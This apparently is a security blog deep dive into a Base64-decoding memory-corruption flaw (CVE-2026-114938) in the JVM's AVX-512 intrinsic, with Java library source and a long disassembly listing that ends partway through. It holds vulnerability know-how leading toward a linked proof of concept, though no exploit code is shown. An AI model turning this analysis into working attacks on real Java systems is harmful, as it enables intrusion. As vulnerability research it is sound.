Security

A Deep Dive Into Java4Shell (CVE-2026-114938): When SIMD Meets Memory Corruption

In this post, we will deep dive into Java4Shell (CVE-2026-114938). The goal is to present all the background needed to comprehensively understand the memory defect, and then observe the underflow and the out-of-bounds write live. Next, we will also discuss the shared PoC in https://calif.

• 21 min read
A Deep Dive Into Java4Shell (CVE-2026-114938): When SIMD Meets Memory Corruption

In this post, we will deep dive into Java4Shell (CVE-2026-114938). The goal is to present all the background needed to comprehensively understand the memory defect, and then observe the underflow and the out-of-bounds write live. Next, we will also discuss the shared PoC in https://calif.io/java4shell.

ADRs can be very effective here, depending on the implementation, i.e. whether they inspect the Java runtime, profile native libraries, and monitor jvm/process behavior, rather than simply relying on naive Java instrumentation for probing (as an overflow could lead to JVM internal corruption, and if, say, a native library is properly profiled, it should not normally be involved in spawning a shell; data leakage is a bit harder to detect, and rce chains have not been publicly released...).

Base64 Encoding

So basically, Base64 Encoding  is a binary-to-text encoding that maps an input consisting of n bytes into an output of m bytes (m > n) so that the data can be safely interpreted and displayed as text. This is basically achieved by grouping blocks of 3 bytes and then mapping each 6-bit group to one Base64 alphabet character (which still requires 8 bits of storage).

[https://en.wikipedia.org/wiki/Base64]

So we end up with 4 characters, each stored using 8 bits, i.e., it maps an input of 24 bits to 32 bits. This means that the encoded output size is 4 times the input size divided by 3 (rounded up to the nearest multiple of 4 when padding is enabled), which can be confirmed here in Java:

private final int encodedOutLength(int srclen, boolean throwOOME) {
    int len = 0;
    try {
        if (doPadding) {
            len = Math.multiplyExact(4, (Math.addExact(srclen, 2) / 3));
        } else {
            int n = srclen % 3;
            len = Math.addExact(Math.multiplyExact(4, (srclen / 3)), (n == 0 ? 0 : n + 1));
        }
        if (linemax > 0) {                             // line separators
            len = Math.addExact(len, (len - 1) / linemax * newline.length);
        }
    } catch (ArithmeticException ex) {
        if (throwOOME) {
            throw new OutOfMemoryError("Encoded size is too large");
        } else {
            // let the caller know that encoded bytes length
            // is too large
            len = -1;
        }
    }
    return len;
}

As listed below, 3 loads are performed to produce 4 stores.

        @IntrinsicCandidate
        private void encodeBlock(byte[] src, int sp, int sl, byte[] dst, int dp, boolean isURL) {
            char[] base64 = isURL ? toBase64URL : toBase64;
            for (int sp0 = sp, dp0 = dp ; sp0 < sl; ) {
                int bits = (src[sp0++] & 0xff) << 16 |
                           (src[sp0++] & 0xff) <<  8 |
                           (src[sp0++] & 0xff);
                dst[dp0++] = (byte)base64[(bits >>> 18) & 0x3f];
                dst[dp0++] = (byte)base64[(bits >>> 12) & 0x3f];
                dst[dp0++] = (byte)base64[(bits >>> 6)  & 0x3f];
                dst[dp0++] = (byte)base64[bits & 0x3f];
            }
        }

This is illustrated below

Base64 decoding pipeline (fast path)

Now let's look at the decoding process, as this is where the defect exists. But first, we cover the JVM decoding logic, and then we inspect the native routine employed when the function is in a hot state, i.e. when the JIT kicks in.

The first thing the JVM does is allocate a destination buffer using the inverse of the arithmetic used before, i.e., 3 times the input length divided by 4, minus the padding bytes.

        private int decodedOutLength(byte[] src, int sp, int sl) {
            int[] base64 = isURL ? fromBase64URL : fromBase64;
            int paddings = 0;
            int len = sl - sp;
            if (len == 0)
                return 0;
            if (len < 2) {
                if (isMIME && base64[0] == -1)
                    return 0;
                throw new IllegalArgumentException(
                    "Input byte[] should at least have 2 bytes for base64 bytes");
            }
            if (isMIME) {
                // scan all bytes to fill out all non-alphabet. a performance
                // trade-off of pre-scan or Arrays.copyOf
                int n = 0;
                while (sp < sl) {
                    int b = src[sp++] & 0xff;
                    if (b == '=') {
                        len -= (sl - sp + 1);
                        break;
                    }
                    if ((b = base64[b]) == -1)
                        n++;
                }
                len -= n;
            } else {
                if (src[sl - 1] == '=') {
                    paddings++;
                    if (src[sl - 2] == '=')
                        paddings++;
                }
            }
            if (paddings == 0 && (len & 0x3) !=  0)
                paddings = 4 - (len & 0x3);

            // If len is near to Integer.MAX_VALUE, (len + 3)
            // can possibly overflow, perform this operation as
            // long and cast it back to integer when the value comes under
            // integer limit. The final value will always be in integer
            // limits
            return 3 * (int) ((len + 3L) / 4) - paddings;
        }

Next, there are two possible paths:

private int decode0(byte[] src, int sp, int sl, byte[] dst) {
            int[] base64 = isURL ? fromBase64URL : fromBase64;
            int dp = 0;
            int bits = 0;
            int shiftto = 18;       // pos of first byte of 4-byte atom

            while (sp < sl) {
                if (shiftto == 18 && sp < sl - 4) {       // fast path
                    int dl = decodeBlock(src, sp, sl, dst, dp, isURL, isMIME);
                    /*
                     * Calculate how many characters were processed by how many
                     * bytes of data were returned.
                     */
                    int chars_decoded = ((dl + 2) / 3) * 4;

                    sp += chars_decoded;
                    dp += dl;
                }
                if (sp >= sl) {
                    // we're done
                    break;
                }
                int b = src[sp++] & 0xff;
                if ((b = base64[b]) < 0) {
                    if (b == -2) {         // padding byte '='
                        // =     shiftto==18 unnecessary padding
                        // x=    shiftto==12 a dangling single x
                        // x     to be handled together with non-padding case
                        // xx=   shiftto==6&&sp==sl missing last =
                        // xx=y  shiftto==6 last is not =
                        if (shiftto == 6 && (sp == sl || src[sp++] != '=') ||
                            shiftto == 18) {
                            throw new IllegalArgumentException(
                                "Input byte array has wrong 4-byte ending unit");
                        }
                        break;
                    }
                    if (isMIME)    // skip if for rfc2045
                        continue;
                    else
                        throw new IllegalArgumentException(
                            "Illegal base64 character " +
                            Integer.toString(src[sp - 1], 16));
                }
                bits |= (b << shiftto);
                shiftto -= 6;
                if (shiftto < 0) {
                    dst[dp++] = (byte)(bits >> 16);
                    dst[dp++] = (byte)(bits >>  8);
                    dst[dp++] = (byte)(bits);
                    shiftto = 18;
                    bits = 0;
                }
            }
            // reached end of byte array or hit padding '=' characters.
            if (shiftto == 6) {
                dst[dp++] = (byte)(bits >> 16);
            } else if (shiftto == 0) {
                dst[dp++] = (byte)(bits >> 16);
                dst[dp++] = (byte)(bits >>  8);
            } else if (shiftto == 12) {
                // dangling single "x", incorrectly encoded.
                throw new IllegalArgumentException(
                    "Last unit does not have enough valid bits");
            }
            // anything left is invalid, if is not MIME.
            // if MIME, ignore all non-base64 character
            while (sp < sl) {
                if (isMIME && base64[src[sp++] & 0xff] < 0)
                    continue;
                throw new IllegalArgumentException(
                    "Input byte array has incorrect ending byte at " + sp);
            }
            return dp;
        }
    }

First, the fast path. This is the routine that gets replaced by its native counterpart hosting the defect. It basically processes data in blocks and packs the result, similarly to what we covered earlier. The native implementation also uses unrolling to process multiple blocks. This is illustrated below:

If any of the blocks contains an invalid character, it exits and delegates to the slow path.

        @IntrinsicCandidate
        private int decodeBlock(byte[] src, int sp, int sl, byte[] dst, int dp, boolean isURL, boolean isMIME) {
            int[] base64 = isURL ? fromBase64URL : fromBase64;
            int sl0 = sp + ((sl - sp) & ~0b11);
            int new_dp = dp;
            while (sp < sl0) {
                int b1 = base64[src[sp++] & 0xff];
                int b2 = base64[src[sp++] & 0xff];
                int b3 = base64[src[sp++] & 0xff];
                int b4 = base64[src[sp++] & 0xff];
                if ((b1 | b2 | b3 | b4) < 0) {    // non base64 byte
                    return new_dp - dp;
                }
                int bits0 = b1 << 18 | b2 << 12 | b3 << 6 | b4;
                dst[new_dp++] = (byte)(bits0 >> 16);
                dst[new_dp++] = (byte)(bits0 >>  8);
                dst[new_dp++] = (byte)(bits0);
            }
            return new_dp - dp;
        }

Base64 decoding pipeline (slow path)

Now, if we look at the slow path, it collects a group of four Base64 characters and only then performs the store of the three decoded bytes, i.e., it does this iteratively. If it turns out that a mapped Base64 value is negative, this means either that it is padding, i.e., = maps to -2, in which case it is ignored, or that it is an illegal character, in which case the JVM reports an error.

So a malformed input such as the one we will be investigating will simply lead to Input byte array has wrong 4-byte ending unit, and that's it. This is why the normal Java path is not vulnerable. Now let's cover the defect.

            while (sp < sl) {
                if (shiftto == 18 && sp < sl - 4) {       // fast path
                    int dl = decodeBlock(src, sp, sl, dst, dp, isURL, isMIME);
                    /*
                     * Calculate how many characters were processed by how many
                     * bytes of data were returned.
                     */
                    int chars_decoded = ((dl + 2) / 3) * 4;

                    sp += chars_decoded;
                    dp += dl;
                }
                if (sp >= sl) {
                    // we're done
                    break;
                }
                int b = src[sp++] & 0xff;
                if ((b = base64[b]) < 0) {
                    if (b == -2) {         // padding byte '='
                        // =     shiftto==18 unnecessary padding
                        // x=    shiftto==12 a dangling single x
                        // x     to be handled together with non-padding case
                        // xx=   shiftto==6&&sp==sl missing last =
                        // xx=y  shiftto==6 last is not =
                        if (shiftto == 6 && (sp == sl || src[sp++] != '=') ||
                            shiftto == 18) {
                            throw new IllegalArgumentException(
                                "Input byte array has wrong 4-byte ending unit");
                        }
                        break;
                    }
                    if (isMIME)    // skip if for rfc2045
                        continue;
                    else
                        throw new IllegalArgumentException(
                            "Illegal base64 character " +
                            Integer.toString(src[sp - 1], 16));
                }
                bits |= (b << shiftto);
                shiftto -= 6;
                if (shiftto < 0) {
                    dst[dp++] = (byte)(bits >> 16);
                    dst[dp++] = (byte)(bits >>  8);
                    dst[dp++] = (byte)(bits);
                    shiftto = 18;
                    bits = 0;
                }
            }

SIMD Execution & AVX-512 Base64 decoding pipeline

When performing the same instruction on different data, the instruction fetch and decode units fetch and decode the same instruction but with different operands. This is where vector hardware comes in. The idea is to reduce the instruction fetching and decoding overhead and instead perform a single instruction on multiple data elements, i.e. SIMD (Single Instruction, Multiple Data).

The Base64 decoding routine is optimized to use vector hardware to accelerate the decoding process. The routine responsible for generating the machine code is StubGenerator::generate_base64_decodeBlock(), and here is what the generated assembly code looks like.

    7aa2a3dc18c0:	55                   	push   rbp
    7aa2a3dc18c1:	48 8b ec             	mov    rbp,rsp
    7aa2a3dc18c4:	41 54                	push   r12
    7aa2a3dc18c6:	41 55                	push   r13
    7aa2a3dc18c8:	41 56                	push   r14
    7aa2a3dc18ca:	41 57                	push   r15
    7aa2a3dc18cc:	53                   	push   rbx
    7aa2a3dc18cd:	8b 5d 10             	mov    ebx,DWORD PTR [rbp+0x10]
    7aa2a3dc18d0:	44 8b f2             	mov    r14d,edx
    7aa2a3dc18d3:	44 2b f6             	sub    r14d,esi
    7aa2a3dc18d6:	51                   	push   rcx
    7aa2a3dc18d7:	41 83 fe 1f          	cmp    r14d,0x1f
    7aa2a3dc18db:	0f 8e ee 03 00 00    	jle    0x7aa2a3dc1ccf
    7aa2a3dc18e1:	83 fb 00             	cmp    ebx,0x0
    7aa2a3dc18e4:	0f 85 e5 03 00 00    	jne    0x7aa2a3dc1ccf
    7aa2a3dc18ea:	41 83 f9 00          	cmp    r9d,0x0
    7aa2a3dc18ee:	0f 85 9c 02 00 00    	jne    0x7aa2a3dc1b90
    7aa2a3dc18f4:	62 f1 fe 48 6f 2d 42 	vmovdqu64 zmm5,ZMMWORD PTR [rip+0xfffffffffffff942]        # 0x7aa2a3dc1240
    7aa2a3dc18fb:	f9 ff ff
    7aa2a3dc18fe:	62 f1 fe 48 6f 35 78 	vmovdqu64 zmm6,ZMMWORD PTR [rip+0xfffffffffffff978]        # 0x7aa2a3dc1280
    7aa2a3dc1905:	f9 ff ff
    7aa2a3dc1908:	41 bf 40 01 40 01    	mov    r15d,0x1400140
    7aa2a3dc190e:	62 52 7d 48 7c cf    	vpbroadcastd zmm9,r15d
    7aa2a3dc1914:	41 bf 00 10 01 00    	mov    r15d,0x11000
    7aa2a3dc191a:	62 52 7d 48 7c c7    	vpbroadcastd zmm8,r15d
    7aa2a3dc1920:	41 81 fe ff 00 00 00 	cmp    r14d,0xff
    7aa2a3dc1927:	0f 8e 29 01 00 00    	jle    0x7aa2a3dc1a56
    7aa2a3dc192d:	62 71 fe 48 6f 25 49 	vmovdqu64 zmm12,ZMMWORD PTR [rip+0xfffffffffffffa49]        # 0x7aa2a3dc1380
    7aa2a3dc1934:	fa ff ff
    7aa2a3dc1937:	62 71 fe 48 6f 1d 7f 	vmovdqu64 zmm11,ZMMWORD PTR [rip+0xfffffffffffffa7f]        # 0x7aa2a3dc13c0
    7aa2a3dc193e:	fa ff ff
    7aa2a3dc1941:	62 71 fe 48 6f 15 b5 	vmovdqu64 zmm10,ZMMWORD PTR [rip+0xfffffffffffffab5]        # 0x7aa2a3dc1400
    7aa2a3dc1948:	fa ff ff
    7aa2a3dc194b:	66 66 66 0f 1f 84 00 	data16 data16 nop WORD PTR [rax+rax*1+0x0]
    7aa2a3dc1952:	00 00 00 00
    7aa2a3dc1956:	66 66 0f 1f 84 00 00 	data16 nop WORD PTR [rax+rax*1+0x0]
    7aa2a3dc195d:	00 00 00
    7aa2a3dc1960:	62 f1 fe 48 6f 1c 37 	vmovdqu64 zmm3,ZMMWORD PTR [rdi+rsi*1]
    7aa2a3dc1967:	62 e1 fe 48 6f 64 37 	vmovdqu64 zmm20,ZMMWORD PTR [rdi+rsi*1+0x40]
    7aa2a3dc196e:	01
    7aa2a3dc196f:	62 e1 fe 48 6f 6c 37 	vmovdqu64 zmm21,ZMMWORD PTR [rdi+rsi*1+0x80]
    7aa2a3dc1976:	02
    7aa2a3dc1977:	62 e1 fe 48 6f 5c 37 	vmovdqu64 zmm19,ZMMWORD PTR [rdi+rsi*1+0xc0]
    7aa2a3dc197e:	03
    7aa2a3dc197f:	62 f1 fe 48 6f d5    	vmovdqu64 zmm2,zmm5
    7aa2a3dc1985:	62 f1 fe 48 6f cd    	vmovdqu64 zmm1,zmm5
    7aa2a3dc198b:	62 f1 fe 48 6f c5    	vmovdqu64 zmm0,zmm5
    7aa2a3dc1991:	62 f1 fe 48 6f e5    	vmovdqu64 zmm4,zmm5
    7aa2a3dc1997:	62 f2 65 48 7d d6    	vpermt2b zmm2,zmm3,zmm6
    7aa2a3dc199d:	62 f2 5d 40 7d ce    	vpermt2b zmm1,zmm20,zmm6
    7aa2a3dc19a3:	62 f2 55 40 7d c6    	vpermt2b zmm0,zmm21,zmm6
    7aa2a3dc19a9:	62 f2 65 40 7d e6    	vpermt2b zmm4,zmm19,zmm6
    7aa2a3dc19af:	62 b3 5d 40 25 dd fe 	vpternlogd zmm3,zmm20,zmm21,0xfe
    7aa2a3dc19b6:	62 e3 6d 48 25 d9 fe 	vpternlogd zmm19,zmm2,zmm1,0xfe
    7aa2a3dc19bd:	62 f3 7d 48 25 dc fe 	vpternlogd zmm3,zmm0,zmm4,0xfe
    7aa2a3dc19c4:	62 f1 65 40 eb fb    	vpord  zmm7,zmm19,zmm3
    7aa2a3dc19ca:	62 f2 7e 48 29 df    	vpmovb2m k3,zmm7
    7aa2a3dc19d0:	c4 e1 f8 98 db       	kortestq k3,k3
    7aa2a3dc19d5:	0f 85 7b 00 00 00    	jne    0x7aa2a3dc1a56
    7aa2a3dc19db:	62 d2 6d 48 04 d1    	vpmaddubsw zmm2,zmm2,zmm9
    7aa2a3dc19e1:	62 d2 75 48 04 c9    	vpmaddubsw zmm1,zmm1,zmm9
    7aa2a3dc19e7:	62 d2 7d 48 04 c1    	vpmaddubsw zmm0,zmm0,zmm9
    7aa2a3dc19ed:	62 d2 5d 48 04 e1    	vpmaddubsw zmm4,zmm4,zmm9
    7aa2a3dc19f3:	62 d1 6d 48 f5 d0    	vpmaddwd zmm2,zmm2,zmm8
    7aa2a3dc19f9:	62 d1 75 48 f5 c8    	vpmaddwd zmm1,zmm1,zmm8
    7aa2a3dc19ff:	62 d1 7d 48 f5 c0    	vpmaddwd zmm0,zmm0,zmm8
    7aa2a3dc1a05:	62 d1 5d 48 f5 e0    	vpmaddwd zmm4,zmm4,zmm8
    7aa2a3dc1a0b:	62 f2 1d 48 7d d1    	vpermt2b zmm2,zmm12,zmm1
    7aa2a3dc1a11:	62 f2 25 48 7d c8    	vpermt2b zmm1,zmm11,zmm0
    7aa2a3dc1a17:	62 f2 2d 48 7d c4    	vpermt2b zmm0,zmm10,zmm4
    7aa2a3dc1a1d:	62 b1 fe 48 7f 14 01 	vmovdqu64 ZMMWORD PTR [rcx+r8*1],zmm2
    7aa2a3dc1a24:	62 b1 fe 48 7f 4c 01 	vmovdqu64 ZMMWORD PTR [rcx+r8*1+0x40],zmm1
    7aa2a3dc1a2b:	01
    7aa2a3dc1a2c:	62 b1 fe 48 7f 44 01 	vmovdqu64 ZMMWORD PTR [rcx+r8*1+0x80],zmm0
    7aa2a3dc1a33:	02
    7aa2a3dc1a34:	48 81 c7 00 01 00 00 	add    rdi,0x100
    7aa2a3dc1a3b:	48 81 c1 c0 00 00 00 	add    rcx,0xc0
    7aa2a3dc1a42:	41 81 ee 00 01 00 00 	sub    r14d,0x100
    7aa2a3dc1a49:	41 81 fe 00 01 00 00 	cmp    r14d,0x100
    7aa2a3dc1a50:	0f 8d 0a ff ff ff    	jge    0x7aa2a3dc1960
    7aa2a3dc1a56:	62 f1 fe 48 6f 25 e0 	vmovdqu64 zmm4,ZMMWORD PTR [rip+0xfffffffffffff8e0]        # 0x7aa2a3dc1340
    7aa2a3dc1a5d:	f8 ff ff
    7aa2a3dc1a60:	41 83 fe 3f          	cmp    r14d,0x3f
    7aa2a3dc1a64:	0f 8e 75 00 00 00    	jle    0x7aa2a3dc1adf
    7aa2a3dc1a6a:	48 b8 ff ff ff ff ff 	movabs rax,0xffffffffffff
    7aa2a3dc1a71:	ff 00 00
    7aa2a3dc1a74:	c4 e1 fb 92 d0       	kmovq  k2,rax
    7aa2a3dc1a79:	0f 1f 80 00 00 00 00 	nop    DWORD PTR [rax+0x0]
    7aa2a3dc1a80:	62 f1 fe 48 6f 1c 37 	vmovdqu64 zmm3,ZMMWORD PTR [rdi+rsi*1]
    7aa2a3dc1a87:	62 f1 fe 48 6f d5    	vmovdqu64 zmm2,zmm5
    7aa2a3dc1a8d:	62 f2 65 48 7d d6    	vpermt2b zmm2,zmm3,zmm6
    7aa2a3dc1a93:	62 f1 6d 48 eb fb    	vpord  zmm7,zmm2,zmm3
    7aa2a3dc1a99:	62 f2 7e 48 29 df    	vpmovb2m k3,zmm7
    7aa2a3dc1a9f:	c4 e1 f8 98 db       	kortestq k3,k3
    7aa2a3dc1aa4:	0f 85 d1 00 00 00    	jne    0x7aa2a3dc1b7b
    7aa2a3dc1aaa:	62 d2 6d 48 04 d1    	vpmaddubsw zmm2,zmm2,zmm9
    7aa2a3dc1ab0:	62 d1 6d 48 f5 d0    	vpmaddwd zmm2,zmm2,zmm8
    7aa2a3dc1ab6:	62 f2 5d 48 8d d2    	vpermb zmm2,zmm4,zmm2
    7aa2a3dc1abc:	62 b1 7f 4a 7f 14 01 	vmovdqu8 ZMMWORD PTR [rcx+r8*1]{k2},zmm2
    7aa2a3dc1ac3:	41 83 ee 40          	sub    r14d,0x40
    7aa2a3dc1ac7:	48 83 c7 40          	add    rdi,0x40
    7aa2a3dc1acb:	48 83 c1 30          	add    rcx,0x30
    7aa2a3dc1acf:	41 83 fe 40          	cmp    r14d,0x40
    7aa2a3dc1ad3:	7d ab                	jge    0x7aa2a3dc1a80
    7aa2a3dc1ad5:	41 83 fe 00          	cmp    r14d,0x0
    7aa2a3dc1ad9:	0f 8e 9c 00 00 00    	jle    0x7aa2a3dc1b7b
    7aa2a3dc1adf:	48 c7 c0 ff ff ff ff 	mov    rax,0xffffffffffffffff
    7aa2a3dc1ae6:	c4 e2 88 f5 c0       	bzhi   rax,rax,r14
    7aa2a3dc1aeb:	45 8b ee             	mov    r13d,r14d
    7aa2a3dc1aee:	41 c1 ed 02          	shr    r13d,0x2
    7aa2a3dc1af2:	4f 8d 6c 6d 00       	lea    r13,[r13+r13*2+0x0]
    7aa2a3dc1af7:	4c 03 f6             	add    r14,rsi
    7aa2a3dc1afa:	42 80 7c 37 ff 3d    	cmp    BYTE PTR [rdi+r14*1-0x1],0x3d
    7aa2a3dc1b00:	0f 84 a3 00 00 00    	je     0x7aa2a3dc1ba9
    7aa2a3dc1b06:	4c 2b f6             	sub    r14,rsi
    7aa2a3dc1b09:	c4 e1 fb 92 c8       	kmovq  k1,rax
    7aa2a3dc1b0e:	49 c7 c7 ff ff ff ff 	mov    r15,0xffffffffffffffff
    7aa2a3dc1b15:	c4 42 90 f5 ff       	bzhi   r15,r15,r13
    7aa2a3dc1b1a:	b8 61 61 61 61       	mov    eax,0x61616161
    7aa2a3dc1b1f:	62 f2 7d 48 7c c0    	vpbroadcastd zmm0,eax
    7aa2a3dc1b25:	b8 80 80 80 80       	mov    eax,0x80808080
    7aa2a3dc1b2a:	62 f2 7d 48 7c c8    	vpbroadcastd zmm1,eax
    7aa2a3dc1b30:	62 f1 7f 49 6f 04 37 	vmovdqu8 zmm0{k1},ZMMWORD PTR [rdi+rsi*1]
    7aa2a3dc1b37:	62 71 fe 48 6f d5    	vmovdqu64 zmm10,zmm5
    7aa2a3dc1b3d:	62 72 7d 48 7d d6    	vpermt2b zmm10,zmm0,zmm6
    7aa2a3dc1b43:	62 f1 ad 48 eb c0    	vporq  zmm0,zmm10,zmm0
    7aa2a3dc1b49:	62 f2 7d 48 26 d1    	vptestmb k2,zmm0,zmm1
    7aa2a3dc1b4f:	c4 e1 f8 98 d2       	kortestq k2,k2
    7aa2a3dc1b54:	0f 85 86 00 00 00    	jne    0x7aa2a3dc1be0
    7aa2a3dc1b5a:	62 52 2d 48 04 d1    	vpmaddubsw zmm10,zmm10,zmm9
    7aa2a3dc1b60:	62 51 2d 48 f5 d0    	vpmaddwd zmm10,zmm10,zmm8
    7aa2a3dc1b66:	62 52 5d 48 8d d2    	vpermb zmm10,zmm4,zmm10
    7aa2a3dc1b6c:	c4 c1 fb 92 cf       	kmovq  k1,r15
    7aa2a3dc1b71:	62 31 7f 49 7f 14 01 	vmovdqu8 ZMMWORD PTR [rcx+r8*1]{k1},zmm10
    7aa2a3dc1b78:	49 03 cd             	add    rcx,r13
    7aa2a3dc1b7b:	c5 f8 77             	vzeroupper
    7aa2a3dc1b7e:	58                   	pop    rax
    7aa2a3dc1b7f:	48 2b c8             	sub    rcx,rax
    7aa2a3dc1b82:	48 8b c1             	mov    rax,rcx
    7aa2a3dc1b85:	5b                   	pop    rbx
    7aa2a3dc1b86:	41 5f                	pop    r15
    7aa2a3dc1b88:	41 5e                	pop    r14
    7aa2a3dc1b8a:	41 5d                	pop    r13
    7aa2a3dc1b8c:	41 5c                	pop    r12
    7aa2a3dc1b8e:	c9                   	leave
    7aa2a3dc1b8f:	c3                   	ret
    7aa2a3dc1b90:	62 f1 fe 48 6f 2d 26 	vmovdqu64 zmm5,ZMMWORD PTR [rip+0xfffffffffffff726]        # 0x7aa2a3dc12c0
    7aa2a3dc1b97:	f7 ff ff
    7aa2a3dc1b9a:	62 f1 fe 48 6f 35 5c 	vmovdqu64 zmm6,ZMMWORD PTR [rip+0xfffffffffffff75c]        # 0x7aa2a3dc1300
    7aa2a3dc1ba1:	f7 ff ff
    7aa2a3dc1ba4:	e9 5f fd ff ff       	jmp    0x7aa2a3dc1908
    7aa2a3dc1ba9:	49 ff cd             	dec    r13
    7aa2a3dc1bac:	48 d1 e8             	shr    rax,1
    7aa2a3dc1baf:	42 80 7c 37 fe 3d    	cmp    BYTE PTR [rdi+r14*1-0x2],0x3d
    7aa2a3dc1bb5:	0f 85 4b ff ff ff    	jne    0x7aa2a3dc1b06
    7aa2a3dc1bbb:	49 ff cd             	dec    r13
    7aa2a3dc1bbe:	48 d1 e8             	shr    rax,1
    7aa2a3dc1bc1:	e9 40 ff ff ff       	jmp    0x7aa2a3dc1b06
    7aa2a3dc1bc6:	66 66 66 0f 1f 84 00 	data16 data16 nop WORD PTR [rax+rax*1+0x0]
    7aa2a3dc1bcd:	00 00 00 00
    7aa2a3dc1bd1:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
    7aa2a3dc1bd8:	00
    7aa2a3dc1bd9:	0f 1f 80 00 00 00 00 	nop    DWORD PTR [rax+0x0]
    7aa2a3dc1be0:	83 fb 00             	cmp    ebx,0x0
    7aa2a3dc1be3:	0f 85 e6 00 00 00    	jne    0x7aa2a3dc1ccf
    7aa2a3dc1be9:	41 83 ee 2c          	sub    r14d,0x2c
    7aa2a3dc1bed:	0f 8c d5 00 00 00    	jl     0x7aa2a3dc1cc8
    7aa2a3dc1bf3:	41 c1 e1 02          	shl    r9d,0x2
    7aa2a3dc1bf7:	49 bd 40 10 dc a3 a2 	movabs r13,0x7aa2a3dc1040
    7aa2a3dc1bfe:	7a 00 00
    7aa2a3dc1c01:	c4 82 7d 58 64 0d 00 	vpbroadcastd ymm4,DWORD PTR [r13+r9*1+0x0]
    7aa2a3dc1c08:	c4 02 7d 58 54 0d 08 	vpbroadcastd ymm10,DWORD PTR [r13+r9*1+0x8]
    7aa2a3dc1c0f:	c4 41 7e 6f 65 10    	vmovdqu ymm12,YMMWORD PTR [r13+0x10]
    7aa2a3dc1c15:	c4 41 7e 6f 6d 30    	vmovdqu ymm13,YMMWORD PTR [r13+0x30]
    7aa2a3dc1c1b:	c4 c2 7d 58 7d 50    	vpbroadcastd ymm7,DWORD PTR [r13+0x50]
    7aa2a3dc1c21:	c4 c2 7d 58 75 54    	vpbroadcastd ymm6,DWORD PTR [r13+0x54]
    7aa2a3dc1c27:	49 bd c0 10 dc a3 a2 	movabs r13,0x7aa2a3dc10c0
    7aa2a3dc1c2e:	7a 00 00
    7aa2a3dc1c31:	41 c1 e1 04          	shl    r9d,0x4
    7aa2a3dc1c35:	c4 01 7e 6f 5c 0d 00 	vmovdqu ymm11,YMMWORD PTR [r13+r9*1+0x0]
    7aa2a3dc1c3c:	c4 01 7e 6f 44 0d 20 	vmovdqu ymm8,YMMWORD PTR [r13+r9*1+0x20]
    7aa2a3dc1c43:	41 c1 e9 06          	shr    r9d,0x6
    7aa2a3dc1c47:	c4 41 7e 6f 8d 80 00 	vmovdqu ymm9,YMMWORD PTR [r13+0x80]
    7aa2a3dc1c4e:	00 00
    7aa2a3dc1c50:	e9 3a 00 00 00       	jmp    0x7aa2a3dc1c8f
    7aa2a3dc1c55:	66 66 66 0f 1f 84 00 	data16 data16 nop WORD PTR [rax+rax*1+0x0]
    7aa2a3dc1c5c:	00 00 00 00
    7aa2a3dc1c60:	c5 fd fc c2          	vpaddb ymm0,ymm0,ymm2
    7aa2a3dc1c64:	c4 e2 7d 04 c7       	vpmaddubsw ymm0,ymm0,ymm7
    7aa2a3dc1c69:	c5 fd f5 c6          	vpmaddwd ymm0,ymm0,ymm6
    7aa2a3dc1c6d:	c4 c2 7d 00 c5       	vpshufb ymm0,ymm0,ymm13
    7aa2a3dc1c72:	c4 e2 1d 36 c0       	vpermd ymm0,ymm12,ymm0
    7aa2a3dc1c77:	c4 a1 7e 7f 04 01    	vmovdqu YMMWORD PTR [rcx+r8*1],ymm0
    7aa2a3dc1c7d:	48 83 c7 20          	add    rdi,0x20
    7aa2a3dc1c81:	48 83 c1 18          	add    rcx,0x18
    7aa2a3dc1c85:	41 83 ee 20          	sub    r14d,0x20
    7aa2a3dc1c89:	0f 8c 39 00 00 00    	jl     0x7aa2a3dc1cc8
    7aa2a3dc1c8f:	c5 fe 6f 14 37       	vmovdqu ymm2,YMMWORD PTR [rdi+rsi*1]
    7aa2a3dc1c94:	c5 f5 72 d2 04       	vpsrld ymm1,ymm2,0x4
    7aa2a3dc1c99:	c5 dd db c9          	vpand  ymm1,ymm4,ymm1
    7aa2a3dc1c9d:	c5 ed db dc          	vpand  ymm3,ymm2,ymm4
    7aa2a3dc1ca1:	c5 dd 74 c2          	vpcmpeqb ymm0,ymm4,ymm2
    7aa2a3dc1ca5:	c4 e2 25 00 db       	vpshufb ymm3,ymm11,ymm3
    7aa2a3dc1caa:	c4 e2 35 00 e9       	vpshufb ymm5,ymm9,ymm1
    7aa2a3dc1caf:	c5 fd df db          	vpandn ymm3,ymm0,ymm3
    7aa2a3dc1cb3:	c4 c1 7d db c2       	vpand  ymm0,ymm0,ymm10
    7aa2a3dc1cb8:	c4 e2 7d 17 dd       	vptest ymm3,ymm5
    7aa2a3dc1cbd:	c5 fd fc c1          	vpaddb ymm0,ymm0,ymm1
    7aa2a3dc1cc1:	c4 e2 3d 00 c0       	vpshufb ymm0,ymm8,ymm0
    7aa2a3dc1cc6:	74 98                	je     0x7aa2a3dc1c60
    7aa2a3dc1cc8:	41 83 c6 2c          	add    r14d,0x2c
    7aa2a3dc1ccc:	c5 f8 77             	vzeroupper
    7aa2a3dc1ccf:	41 c1 ee 02          	shr    r14d,0x2
    7aa2a3dc1cd3:	41 83 fe 00          	cmp    r14d,0x0
    7aa2a3dc1cd7:	0f 8e 95 00 00 00    	jle    0x7aa2a3dc1d72
    7aa2a3dc1cdd:	41 c1 e1 08          	shl    r9d,0x8
    7aa2a3dc1ce1:	49 bb 40 14 dc a3 a2 	movabs r11,0x7aa2a3dc1440
    7aa2a3dc1ce8:	7a 00 00
    7aa2a3dc1ceb:	4d 03 d9             	add    r11,r9
    7aa2a3dc1cee:	e9 48 00 00 00       	jmp    0x7aa2a3dc1d3b
    7aa2a3dc1cf3:	0f 1f 80 00 00 00 00 	nop    DWORD PTR [rax+0x0]
    7aa2a3dc1cfa:	66 0f 1f 44 00 00    	nop    WORD PTR [rax+rax*1+0x0]
    7aa2a3dc1d00:	41 c1 e5 12          	shl    r13d,0x12
    7aa2a3dc1d04:	41 c1 e7 0c          	shl    r15d,0xc
    7aa2a3dc1d08:	c1 e2 06             	shl    edx,0x6
    7aa2a3dc1d0b:	45 0b ef             	or     r13d,r15d
    7aa2a3dc1d0e:	44 0b ea             	or     r13d,edx
    7aa2a3dc1d11:	45 0b e9             	or     r13d,r9d
    7aa2a3dc1d14:	48 83 c7 04          	add    rdi,0x4
    7aa2a3dc1d18:	46 88 6c 01 02       	mov    BYTE PTR [rcx+r8*1+0x2],r13b
    7aa2a3dc1d1d:	41 c1 ed 08          	shr    r13d,0x8
